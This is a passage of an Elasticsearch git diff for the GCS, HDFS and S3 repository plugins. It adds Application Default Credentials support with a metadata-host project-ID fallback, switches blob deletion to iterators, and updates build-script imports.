org.elasticsearch.gradle.test.InternalClusterTestPlugin +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.test.rest.YamlRestTestPlugin +import org.elasticsearch.gradle.internal.test.InternalClusterTestPlugin import java.nio.file.Files import java.security.KeyPair @@ -71,7 +71,7 @@ tasks.named("internalClusterTestJar").configure { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'snapshot','indices', 'index', 'bulk', 'count' + include '_common', 'cluster', 'nodes', 'snapshot','indices', 'index', 'bulk', 'count' } } @@ -220,6 +220,7 @@ if (!gcsServiceAccount && !gcsBucket && !gcsBasePath) { apply plugin: 'elasticsearch.test.fixtures' testFixtures.useFixture(':test:fixtures:gcs-fixture', 'gcs-fixture') testFixtures.useFixture(':test:fixtures:gcs-fixture', 'gcs-fixture-third-party') + testFixtures.useFixture(':test:fixtures:gcs-fixture', 'gcs-fixture-with-application-default-credentials') } else if (!gcsServiceAccount || !gcsBucket || !gcsBasePath) { throw new IllegalArgumentException("not all options specified to run tests against external GCS service are present") @@ -266,28 +267,12 @@ tasks.named("internalClusterTest").configure { exclude '**/GoogleCloudStorageThirdPartyTests.class' } -final Closure testClustersConfiguration = { - keystore 'gcs.client.integration_test.credentials_file', serviceAccountFile, IGNORE_VALUE - - if (useFixture) { - /* Use a closure on the string to delay evaluation until tests are executed */ - setting 'gcs.client.integration_test.endpoint', { "${-> fixtureAddress('gcs-fixture')}" }, IGNORE_VALUE - setting 'gcs.client.integration_test.token_uri', { "${-> fixtureAddress('gcs-fixture')}/o/oauth2/token" }, IGNORE_VALUE - } else { - println "Using an external service to test the repository-gcs plugin" - } -} - tasks.named("yamlRestTest").configure { if (useFixture) { dependsOn "createServiceAccountFile" } } -testClusters { - all testClustersConfiguration -} - /* * We only use a small amount of data in these tests, which means that the resumable upload path is not tested. We add * an additional test that forces the large blob threshold to be small to exercise the resumable upload path. @@ -330,6 +315,40 @@ def gcsThirdPartyTest = tasks.register("gcsThirdPartyTest", Test) { } } +testClusters.matching { + it.name == "yamlRestTest" || + it.name == "largeBlobYamlRestTest" || + it.name == "gcsThirdPartyTest" }.configureEach { + keystore 'gcs.client.integration_test.credentials_file', serviceAccountFile, IGNORE_VALUE + + if (useFixture) { + /* Use a closure on the string to delay evaluation until tests are executed */ + setting 'gcs.client.integration_test.endpoint', { "${-> fixtureAddress('gcs-fixture')}" }, IGNORE_VALUE + setting 'gcs.client.integration_test.token_uri', { "${-> fixtureAddress('gcs-fixture')}/o/oauth2/token" }, IGNORE_VALUE + } else { + println "Using an external service to test the repository-gcs plugin" + } +} + + +// Application Default Credentials +if (useFixture) { + tasks.register("yamlRestTestApplicationDefaultCredentials", RestIntegTestTask.class) { + dependsOn('bundlePlugin') + SourceSetContainer sourceSets = project.getExtensions().getByType(SourceSetContainer.class); + SourceSet yamlRestTestSourceSet = sourceSets.getByName(YamlRestTestPlugin.SOURCE_SET_NAME) + setTestClassesDirs(yamlRestTestSourceSet.getOutput().getClassesDirs()) + setClasspath(yamlRestTestSourceSet.getRuntimeClasspath()) + } + tasks.named("check").configure { dependsOn("yamlRestTestApplicationDefaultCredentials") } + + testClusters.matching { it.name == "yamlRestTestApplicationDefaultCredentials" }.configureEach { + setting 'gcs.client.integration_test.endpoint', { "${-> fixtureAddress('gcs-fixture-with-application-default-credentials')}" }, IGNORE_VALUE + plugin tasks.bundlePlugin.archiveFile + environment 'GCE_METADATA_HOST', { "${-> fixtureAddress('gcs-fixture-with-application-default-credentials')}".replace("http://", "") }, IGNORE_VALUE + } +} + tasks.named("check").configure { dependsOn(largeBlobYamlRestTest, gcsThirdPartyTest) } diff --git a/plugins/repository-gcs/src/internalClusterTest/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreRepositoryTests.java b/plugins/repository-gcs/src/internalClusterTest/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreRepositoryTests.java index 9293e3ef212c2..ee65a014a6f4a 100644 --- a/plugins/repository-gcs/src/internalClusterTest/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreRepositoryTests.java +++ b/plugins/repository-gcs/src/internalClusterTest/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreRepositoryTests.java @@ -27,6 +27,7 @@ import org.elasticsearch.common.blobstore.BlobPath; import org.elasticsearch.common.blobstore.BlobStore; import org.elasticsearch.common.bytes.BytesArray; +import org.elasticsearch.common.collect.Iterators; import org.elasticsearch.common.io.Streams; import org.elasticsearch.common.regex.Regex; import org.elasticsearch.common.settings.MockSecureSettings; @@ -99,9 +100,9 @@ protected HttpHandler createErroneousHttpHandler(final HttpHandler delegate) { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { final Settings.Builder settings = Settings.builder(); - settings.put(super.nodeSettings(nodeOrdinal)); + settings.put(super.nodeSettings(nodeOrdinal, otherSettings)); settings.put(ENDPOINT_SETTING.getConcreteSettingForNamespace("test").getKey(), httpServerUrl()); settings.put(TOKEN_URI_SETTING.getConcreteSettingForNamespace("test").getKey(), httpServerUrl() + "/token"); @@ -117,8 +118,7 @@ public void testDeleteSingleItem() { final RepositoriesService repositoriesService = internalCluster().getMasterNodeInstance(RepositoriesService.class); final BlobStoreRepository repository = (BlobStoreRepository) repositoriesService.repository(repoName); PlainActionFuture.get(f -> repository.threadPool().generic().execute(ActionRunnable.run(f, () -> - repository.blobStore().blobContainer(repository.basePath()).deleteBlobsIgnoringIfNotExists(Collections.singletonList("foo")) - ))); + repository.blobStore().blobContainer(repository.basePath()).deleteBlobsIgnoringIfNotExists(Iterators.single("foo"))))); } public void testChunkSize() { @@ -161,7 +161,7 @@ public void testChunkSize() { public void testWriteReadLarge() throws IOException { try (BlobStore store = newBlobStore()) { - final BlobContainer container = store.blobContainer(new BlobPath()); + final BlobContainer container = store.blobContainer(BlobPath.EMPTY); byte[] data = randomBytes(GoogleCloudStorageBlobStore.LARGE_BLOB_THRESHOLD_BYTE_SIZE + 1); writeBlob(container, "foobar", new BytesArray(data), randomBoolean()); if (randomBoolean()) { diff --git a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainer.java b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainer.java index 2ba63a8100d6a..74c697a167189 100644 --- a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainer.java +++ b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainer.java @@ -18,9 +18,8 @@ import java.io.IOException; import java.io.InputStream; -import java.util.List; +import java.util.Iterator; import java.util.Map; -import java.util.stream.Collectors; class GoogleCloudStorageBlobContainer extends AbstractBlobContainer { @@ -72,6 +71,11 @@ public void writeBlob(String blobName, InputStream inputStream, long blobSize, b blobStore.writeBlob(buildKey(blobName), inputStream, blobSize, failIfAlreadyExists); } + @Override + public void writeBlob(String blobName, BytesReference bytes, boolean failIfAlreadyExists) throws IOException { + blobStore.writeBlob(buildKey(blobName), bytes, failIfAlreadyExists); + } + @Override public void writeBlobAtomic(String blobName, BytesReference bytes, boolean failIfAlreadyExists) throws IOException { writeBlob(blobName, bytes, failIfAlreadyExists); @@ -83,8 +87,18 @@ public DeleteResult delete() throws IOException { } @Override - public void deleteBlobsIgnoringIfNotExists(List blobNames) throws IOException { - blobStore.deleteBlobsIgnoringIfNotExists(blobNames.stream().map(this::buildKey).collect(Collectors.toList())); + public void deleteBlobsIgnoringIfNotExists(Iterator blobNames) throws IOException { + blobStore.deleteBlobsIgnoringIfNotExists(new Iterator<>() { + @Override + public boolean hasNext() { + return blobNames.hasNext(); + } + + @Override + public String next() { + return buildKey(blobNames.next()); + } + }); } private String buildKey(String blobName) { diff --git a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStore.java b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStore.java index 86f1106aad02d..c2a4f595a328d 100644 --- a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStore.java +++ b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStore.java @@ -29,7 +29,9 @@ import org.elasticsearch.common.blobstore.BlobStore; import org.elasticsearch.common.blobstore.DeleteResult; import org.elasticsearch.common.blobstore.support.PlainBlobMetadata; +import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.collect.MapBuilder; +import org.elasticsearch.common.hash.MessageDigests; import org.elasticsearch.common.io.Streams; import org.elasticsearch.common.unit.ByteSizeUnit; import org.elasticsearch.common.unit.ByteSizeValue; @@ -42,13 +44,13 @@ import java.nio.channels.WritableByteChannel; import java.nio.file.FileAlreadyExistsException; import java.util.ArrayList; -import java.util.Collection; +import java.util.Base64; import java.util.Collections; +import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.concurrent.atomic.AtomicLong; import java.util.concurrent.atomic.AtomicReference; -import java.util.stream.Collectors; import static java.net.HttpURLConnection.HTTP_GONE; import static java.net.HttpURLConnection.HTTP_NOT_FOUND; @@ -217,12 +219,33 @@ InputStream readBlob(String blobName, long position, long length) throws IOExcep /** * Writes a blob in the specific bucket - * @param inputStream content of the blob to be written + * @param bytes content of the blob to be written + * @param failIfAlreadyExists whether to throw a FileAlreadyExistsException if the given blob already exists + */ + void writeBlob(String blobName, BytesReference bytes, boolean failIfAlreadyExists) throws IOException { + if (bytes.length() > getLargeBlobThresholdInBytes()) { + // Compute md5 here so #writeBlobResumable forces the integrity check on the resumable upload. + // This is needed since we rely on atomic write behavior when writing BytesReferences in BlobStoreRepository which is not + // guaranteed for resumable uploads. + final String md5 = Base64.getEncoder().encodeToString(MessageDigests.digest(bytes, MessageDigests.md5())); + writeBlobResumable(BlobInfo.newBuilder(bucketName, blobName).setMd5(md5).build(), bytes.streamInput(), bytes.length(), + failIfAlreadyExists); + } else { + writeBlob(bytes.streamInput(), bytes.length(), failIfAlreadyExists, BlobInfo.newBuilder(bucketName, blobName).build()); + } + } + + /** + * Writes a blob in the specific bucket + * @param inputStream content of the blob to be written * @param blobSize expected size of the blob to be written * @param failIfAlreadyExists whether to throw a FileAlreadyExistsException if the given blob already exists */ void writeBlob(String blobName, InputStream inputStream, long blobSize, boolean failIfAlreadyExists) throws IOException { - final BlobInfo blobInfo = BlobInfo.newBuilder(bucketName, blobName).build(); + writeBlob(inputStream, blobSize, failIfAlreadyExists, BlobInfo.newBuilder(bucketName, blobName).build()); + } + + private void writeBlob(InputStream inputStream, long blobSize, boolean failIfAlreadyExists, BlobInfo blobInfo) throws IOException { if (blobSize > getLargeBlobThresholdInBytes()) { writeBlobResumable(blobInfo, inputStream, blobSize, failIfAlreadyExists); } else { @@ -235,6 +258,13 @@ long getLargeBlobThresholdInBytes() { return LARGE_BLOB_THRESHOLD_BYTE_SIZE; } + // possible options for #writeBlobResumable uploads + private static final Storage.BlobWriteOption[] NO_OVERWRITE_NO_MD5 = {Storage.BlobWriteOption.doesNotExist()}; + private static final Storage.BlobWriteOption[] OVERWRITE_NO_MD5 = new Storage.BlobWriteOption[0]; + private static final Storage.BlobWriteOption[] NO_OVERWRITE_CHECK_MD5 = + {Storage.BlobWriteOption.doesNotExist(), Storage.BlobWriteOption.md5Match()}; + private static final Storage.BlobWriteOption[] OVERWRITE_CHECK_MD5 = {Storage.BlobWriteOption.md5Match()}; + /** * Uploads a blob using the "resumable upload" method (multiple requests, which * can be independently retried in case of failure, see @@ -252,8 +282,14 @@ private void writeBlobResumable(BlobInfo blobInfo, InputStream inputStream, long inputStream.mark(Integer.MAX_VALUE); final byte[] buffer = new byte[size < bufferSize ? Math.toIntExact(size) : bufferSize]; StorageException storageException = null; - final Storage.BlobWriteOption[] writeOptions = failIfAlreadyExists ? - new Storage.BlobWriteOption[]{Storage.BlobWriteOption.doesNotExist()} : new Storage.BlobWriteOption[0]; + final Storage.BlobWriteOption[] writeOptions; + if (blobInfo.getMd5() == null) { + // no md5, use options without checksum validation + writeOptions = failIfAlreadyExists ? NO_OVERWRITE_NO_MD5 : OVERWRITE_NO_MD5; + } else { + // md5 value is set so we use it by enabling checksum validation + writeOptions = failIfAlreadyExists ? NO_OVERWRITE_CHECK_MD5 : OVERWRITE_CHECK_MD5; + } for (int retry = 0; retry < 3; ++retry) { try { final WriteChannel writeChannel = SocketAccess.doPrivilegedIOException(() -> client().writer(blobInfo, writeOptions)); @@ -349,15 +385,23 @@ DeleteResult deleteDirectory(String pathStr) throws IOException { DeleteResult deleteResult = DeleteResult.ZERO; Page page = client().list(bucketName, BlobListOption.prefix(pathStr)); do { - final Collection blobsToDelete = new ArrayList<>(); final AtomicLong blobsDeleted = new AtomicLong(0L); final AtomicLong bytesDeleted = new AtomicLong(0L); - page.getValues().forEach(b -> { - blobsToDelete.add(b.getName()); - blobsDeleted.incrementAndGet(); - bytesDeleted.addAndGet(b.getSize()); + final Iterator blobs = page.getValues().iterator(); + deleteBlobsIgnoringIfNotExists(new Iterator<>() { + @Override + public boolean hasNext() { + return blobs.hasNext(); + } + + @Override + public String next() { + final Blob next = blobs.next(); + blobsDeleted.incrementAndGet(); + bytesDeleted.addAndGet(next.getSize()); + return next.getName(); + } }); - deleteBlobsIgnoringIfNotExists(blobsToDelete); deleteResult = deleteResult.add(blobsDeleted.get(), bytesDeleted.get()); page = page.getNextPage(); } while (page != null); @@ -370,17 +414,28 @@ DeleteResult deleteDirectory(String pathStr) throws IOException { * * @param blobNames names of the blobs to delete */ - void deleteBlobsIgnoringIfNotExists(Collection blobNames) throws IOException { - if (blobNames.isEmpty()) { + void deleteBlobsIgnoringIfNotExists(Iterator blobNames) throws IOException { + if (blobNames.hasNext() == false) { return; } - final List blobIdsToDelete = blobNames.stream().map(blob -> BlobId.of(bucketName, blob)).collect(Collectors.toList()); + final Iterator blobIdsToDelete = new Iterator<>() { + @Override + public boolean hasNext() { + return blobNames.hasNext(); + } + + @Override + public BlobId next() { + return BlobId.of(bucketName, blobNames.next()); + } + }; final List failedBlobs = Collections.synchronizedList(new ArrayList<>()); try { SocketAccess.doPrivilegedVoidIOException(() -> { final AtomicReference ioe = new AtomicReference<>(); final StorageBatch batch = client().batch(); - for (BlobId blob : blobIdsToDelete) { + while (blobIdsToDelete.hasNext()) { + BlobId blob = blobIdsToDelete.next(); batch.delete(blob).notify( new BatchResult.Callback<>() { @Override @@ -390,7 +445,10 @@ public void success(Boolean result) { @Override public void error(StorageException exception) { if (exception.getCode() != HTTP_NOT_FOUND) { - failedBlobs.add(blob); + // track up to 10 failed blob deletions for the exception message below + if (failedBlobs.size() < 10) { + failedBlobs.add(blob); + } if (ioe.compareAndSet(null, exception) == false) { ioe.get().addSuppressed(exception); } @@ -406,7 +464,7 @@ public void error(StorageException exception) { } }); } catch (final Exception e) { - throw new IOException("Exception when deleting blobs [" + failedBlobs + "]", e); + throw new IOException("Exception when deleting blobs " + failedBlobs, e); } assert failedBlobs.isEmpty(); } diff --git a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageRepository.java b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageRepository.java index 74a875522211a..eeab1a0361cad 100644 --- a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageRepository.java +++ b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageRepository.java @@ -78,13 +78,13 @@ class GoogleCloudStorageRepository extends MeteredBlobStoreRepository { private static BlobPath buildBasePath(RepositoryMetadata metadata) { String basePath = BASE_PATH.get(metadata.settings()); if (Strings.hasLength(basePath)) { - BlobPath path = new BlobPath(); + BlobPath path = BlobPath.EMPTY; for (String elem : basePath.split("/")) { path = path.add(elem); } return path; } else { - return BlobPath.cleanPath(); + return BlobPath.EMPTY; } } diff --git a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageService.java b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageService.java index 82168734c1c33..4caf488d70f75 100644 --- a/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageService.java +++ b/plugins/repository-gcs/src/main/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageService.java @@ -12,6 +12,7 @@ import com.google.api.client.http.HttpRequestInitializer; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; +import com.google.auth.oauth2.GoogleCredentials; import com.google.auth.oauth2.ServiceAccountCredentials; import com.google.cloud.ServiceOptions; import com.google.cloud.http.HttpTransportOptions; @@ -21,14 +22,21 @@ import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.message.ParameterizedMessage; import org.elasticsearch.common.Strings; +import org.elasticsearch.common.SuppressForbidden; import org.elasticsearch.common.collect.MapBuilder; import org.elasticsearch.common.unit.TimeValue; import org.elasticsearch.common.util.Maps; +import java.io.BufferedReader; import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; import java.net.URI; +import java.net.URL; import java.util.Map; +import static java.nio.charset.StandardCharsets.UTF_8; import static java.util.Collections.emptyMap; public class GoogleCloudStorageService { @@ -162,10 +170,37 @@ StorageOptions createStorageOptions(final GoogleCloudStorageClientSettings clien } if (Strings.hasLength(clientSettings.getProjectId())) { storageOptionsBuilder.setProjectId(clientSettings.getProjectId()); + } else { + String defaultProjectId = null; + try { + defaultProjectId = ServiceOptions.getDefaultProjectId(); + if (defaultProjectId != null) { + storageOptionsBuilder.setProjectId(defaultProjectId); + } + } catch (Exception e) { + logger.warn("failed to load default project id", e); + } + if (defaultProjectId == null) { + try { + // fallback to manually load project ID here as the above ServiceOptions method has the metadata endpoint hardcoded, + // which makes it impossible to test + SocketAccess.doPrivilegedVoidIOException(() -> { + final String projectId = getDefaultProjectId(); + if (projectId != null) { + storageOptionsBuilder.setProjectId(projectId); + } + }); + } catch (Exception e) { + logger.warn("failed to load default project id fallback", e); + } + } } if (clientSettings.getCredential() == null) { - logger.warn("\"Application Default Credentials\" are not supported out of the box." - + " Additional file system permissions have to be granted to the plugin."); + try { + storageOptionsBuilder.setCredentials(GoogleCredentials.getApplicationDefault()); + } catch (Exception e) { + logger.warn("failed to load Application Default Credentials", e); + } } else { ServiceAccountCredentials serviceAccountCredentials = clientSettings.getCredential(); // override token server URI @@ -180,6 +215,30 @@ StorageOptions createStorageOptions(final GoogleCloudStorageClientSettings clien return storageOptionsBuilder.build(); } + /** + * This method imitates what MetadataConfig.getProjectId() does, but does not have the endpoint hardcoded. + */ + @SuppressForbidden(reason = "ok to open connection here") + private static String getDefaultProjectId() throws IOException { + String metaHost = System.getenv("GCE_METADATA_HOST"); + if (metaHost == null) { + metaHost = "metadata.google.internal"; + } + URL url = new URL("http://" + metaHost + "/computeMetadata/v1/project/project-id"); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setConnectTimeout(5000); + connection.setReadTimeout(5000); + connection.setRequestProperty("Metadata-Flavor", "Google"); + try (InputStream input = connection.getInputStream()) { + if (connection.getResponseCode() == 200) { + try (BufferedReader reader = new BufferedReader(new InputStreamReader(input, UTF_8))) { + return reader.readLine(); + } + } + } + return null; + } + /** * Converts timeout values from the settings to a timeout value for the Google * Cloud SDK diff --git a/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainerRetriesTests.java b/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainerRetriesTests.java index 02297491b9fae..8a05764327294 100644 --- a/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainerRetriesTests.java +++ b/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobContainerRetriesTests.java @@ -142,7 +142,7 @@ StorageOptions createStorageOptions(final GoogleCloudStorageClientSettings clien final GoogleCloudStorageBlobStore blobStore = new GoogleCloudStorageBlobStore("bucket", client, "repo", service, randomIntBetween(1, 8) * 1024); - return new GoogleCloudStorageBlobContainer(BlobPath.cleanPath(), blobStore); + return new GoogleCloudStorageBlobContainer(BlobPath.EMPTY, blobStore); } public void testReadLargeBlobWithRetries() throws Exception { diff --git a/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreContainerTests.java b/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreContainerTests.java index 0a73d071acebf..a1d99cd266302 100644 --- a/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreContainerTests.java +++ b/plugins/repository-gcs/src/test/java/org/elasticsearch/repositories/gcs/GoogleCloudStorageBlobStoreContainerTests.java @@ -78,9 +78,9 @@ public void testDeleteBlobsIgnoringIfNotExistsThrowsIOException() throws Excepti try (BlobStore store = new GoogleCloudStorageBlobStore("bucket", "test", "repo", storageService, randomIntBetween(1, 8) * 1024)) { - final BlobContainer container = store.blobContainer(new BlobPath()); + final BlobContainer container = store.blobContainer(BlobPath.EMPTY); - IOException e = expectThrows(IOException.class, () -> container.deleteBlobsIgnoringIfNotExists(blobs)); + IOException e = expectThrows(IOException.class, () -> container.deleteBlobsIgnoringIfNotExists(blobs.iterator())); assertThat(e.getCause(), instanceOf(StorageException.class)); } } diff --git a/plugins/repository-hdfs/build.gradle b/plugins/repository-hdfs/build.gradle index ff80f06cf6878..2272f7e00e54f 100644 --- a/plugins/repository-hdfs/build.gradle +++ b/plugins/repository-hdfs/build.gradle @@ -7,8 +7,8 @@ */ import org.apache.tools.ant.taskdefs.condition.Os -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.RestIntegTestTask import java.nio.file.Files import java.nio.file.Path @@ -68,13 +68,15 @@ dependencies { // Set the keytab files in the classpath so that we can access them from test code without the security manager // freaking out. if (isEclipse == false) { - testRuntimeOnly files(project(':test:fixtures:krb5kdc-fixture').ext.krb5Keytabs("hdfs", "hdfs_hdfs.build.elastic.co.keytab").parent) + testRuntimeOnly files(project(':test:fixtures:krb5kdc-fixture').ext.krb5Keytabs("hdfs", "hdfs_hdfs.build.elastic.co.keytab").parent) { + builtBy ":test:fixtures:krb5kdc-fixture:preProcessFixture" + } } } restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'snapshot' + include '_common', 'cluster', 'nodes', 'indices', 'index', 'snapshot' } } @@ -104,7 +106,7 @@ String krb5conf = project(':test:fixtures:krb5kdc-fixture').ext.krb5Conf("hdfs") // Create HDFS File System Testing Fixtures for HA/Secure combinations for (String fixtureName : ['hdfsFixture', 'haHdfsFixture', 'secureHdfsFixture', 'secureHaHdfsFixture']) { - project.tasks.register(fixtureName, org.elasticsearch.gradle.test.AntFixture) { + project.tasks.register(fixtureName, org.elasticsearch.gradle.internal.test.AntFixture) { dependsOn project.configurations.hdfsFixture, project(':test:fixtures:krb5kdc-fixture').tasks.postProcessFixture executable = "${BuildParams.runtimeJavaHome}/bin/java" env 'CLASSPATH', "${-> project.configurations.hdfsFixture.asPath}" diff --git a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobContainer.java b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobContainer.java index 62f283e4ab939..d3aa3a5d7d8d7 100644 --- a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobContainer.java +++ b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobContainer.java @@ -35,8 +35,8 @@ import java.nio.file.NoSuchFileException; import java.util.Collections; import java.util.EnumSet; +import java.util.Iterator; import java.util.LinkedHashMap; -import java.util.List; import java.util.Map; final class HdfsBlobContainer extends AbstractBlobContainer { @@ -68,9 +68,10 @@ public DeleteResult delete() throws IOException { } @Override - public void deleteBlobsIgnoringIfNotExists(final List blobNames) throws IOException { + public void deleteBlobsIgnoringIfNotExists(final Iterator blobNames) throws IOException { IOException ioe = null; - for (String blobName : blobNames) { + while (blobNames.hasNext()) { + final String blobName = blobNames.next(); try { store.execute(fileContext -> fileContext.delete(new Path(path, blobName), true)); } catch (final FileNotFoundException ignored) { diff --git a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobStore.java b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobStore.java index e6628014543e4..a4708efaae9bb 100644 --- a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobStore.java +++ b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsBlobStore.java @@ -81,7 +81,7 @@ private Path buildHdfsPath(BlobPath blobPath) { private Path translateToHdfsPath(BlobPath blobPath) { Path path = root; - for (String p : blobPath) { + for (String p : blobPath.parts()) { path = new Path(path, p); } return path; diff --git a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsRepository.java b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsRepository.java index 3051a8c9dc034..7336f9b56a326 100644 --- a/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsRepository.java +++ b/plugins/repository-hdfs/src/main/java/org/elasticsearch/repositories/hdfs/HdfsRepository.java @@ -55,7 +55,7 @@ public final class HdfsRepository extends BlobStoreRepository { public HdfsRepository(RepositoryMetadata metadata, Environment environment, NamedXContentRegistry namedXContentRegistry, ClusterService clusterService, BigArrays bigArrays, RecoverySettings recoverySettings) { - super(metadata, namedXContentRegistry, clusterService, bigArrays, recoverySettings, BlobPath.cleanPath()); + super(metadata, namedXContentRegistry, clusterService, bigArrays, recoverySettings, BlobPath.EMPTY); this.environment = environment; this.chunkSize = metadata.settings().getAsBytesSize("chunk_size", null); diff --git a/plugins/repository-hdfs/src/test/java/org/elasticsearch/repositories/hdfs/HdfsBlobStoreContainerTests.java b/plugins/repository-hdfs/src/test/java/org/elasticsearch/repositories/hdfs/HdfsBlobStoreContainerTests.java index fe232451c7216..4f3462b641a8b 100644 --- a/plugins/repository-hdfs/src/test/java/org/elasticsearch/repositories/hdfs/HdfsBlobStoreContainerTests.java +++ b/plugins/repository-hdfs/src/test/java/org/elasticsearch/repositories/hdfs/HdfsBlobStoreContainerTests.java @@ -106,12 +106,12 @@ public void testReadOnly() throws Exception { FileContext.Util util = fileContext.util(); Path root = fileContext.makeQualified(new Path("dir")); assertFalse(util.exists(root)); - BlobPath blobPath = BlobPath.cleanPath().add("path"); + BlobPath blobPath = BlobPath.EMPTY.add("path"); // blobContainer() will not create path if read only hdfsBlobStore.blobContainer(blobPath); Path hdfsPath = root; - for (String p : blobPath) { + for (String p : blobPath.parts()) { hdfsPath = new Path(hdfsPath, p); } assertFalse(util.exists(hdfsPath)); @@ -135,12 +135,12 @@ public void testReadRange() throws Exception { FileContext.Util util = fileContext.util(); Path root = fileContext.makeQualified(new Path("dir")); assertFalse(util.exists(root)); - BlobPath blobPath = BlobPath.cleanPath().add("path"); + BlobPath blobPath = BlobPath.EMPTY.add("path"); // blobContainer() will not create path if read only hdfsBlobStore.blobContainer(blobPath); Path hdfsPath = root; - for (String p : blobPath) { + for (String p : blobPath.parts()) { hdfsPath = new Path(hdfsPath, p); } assertFalse(util.exists(hdfsPath)); diff --git a/plugins/repository-s3/build.gradle b/plugins/repository-s3/build.gradle index 5f62df0096736..ee7552c77e048 100644 --- a/plugins/repository-s3/build.gradle +++ b/plugins/repository-s3/build.gradle @@ -1,8 +1,8 @@ -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.RestIntegTestTask -import org.elasticsearch.gradle.test.rest.YamlRestTestPlugin -import org.elasticsearch.gradle.test.InternalClusterTestPlugin +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.test.rest.YamlRestTestPlugin +import org.elasticsearch.gradle.internal.test.InternalClusterTestPlugin import static org.elasticsearch.gradle.PropertyNormalization.IGNORE_VALUE @@ -59,7 +59,7 @@ tasks.named("internalClusterTestJar").configure { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'snapshot','indices', 'index', 'bulk', 'count' + include '_common', 'cluster', 'nodes', 'snapshot','indices', 'index', 'bulk', 'count' } } diff --git a/plugins/repository-s3/licenses/jackson-annotations-2.10.4.jar.sha1 b/plugins/repository-s3/licenses/jackson-annotations-2.10.4.jar.sha1 deleted file mode 100644 index 0c548bb0e7711..0000000000000 --- a/plugins/repository-s3/licenses/jackson-annotations-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -6ae6028aff033f194c9710ad87c224ccaadeed6c \ No newline at end of file diff --git a/plugins/repository-s3/licenses/jackson-annotations-2.12.2.jar.sha1 b/plugins/repository-s3/licenses/jackson-annotations-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e6b8be3e084d --- /dev/null +++ b/plugins/repository-s3/licenses/jackson-annotations-2.12.2.jar.sha1 @@ -0,0 +1 @@ +0a770cc4c0a1fb0bfd8a150a6a0004e42bc99fca \ No newline at end of file diff --git 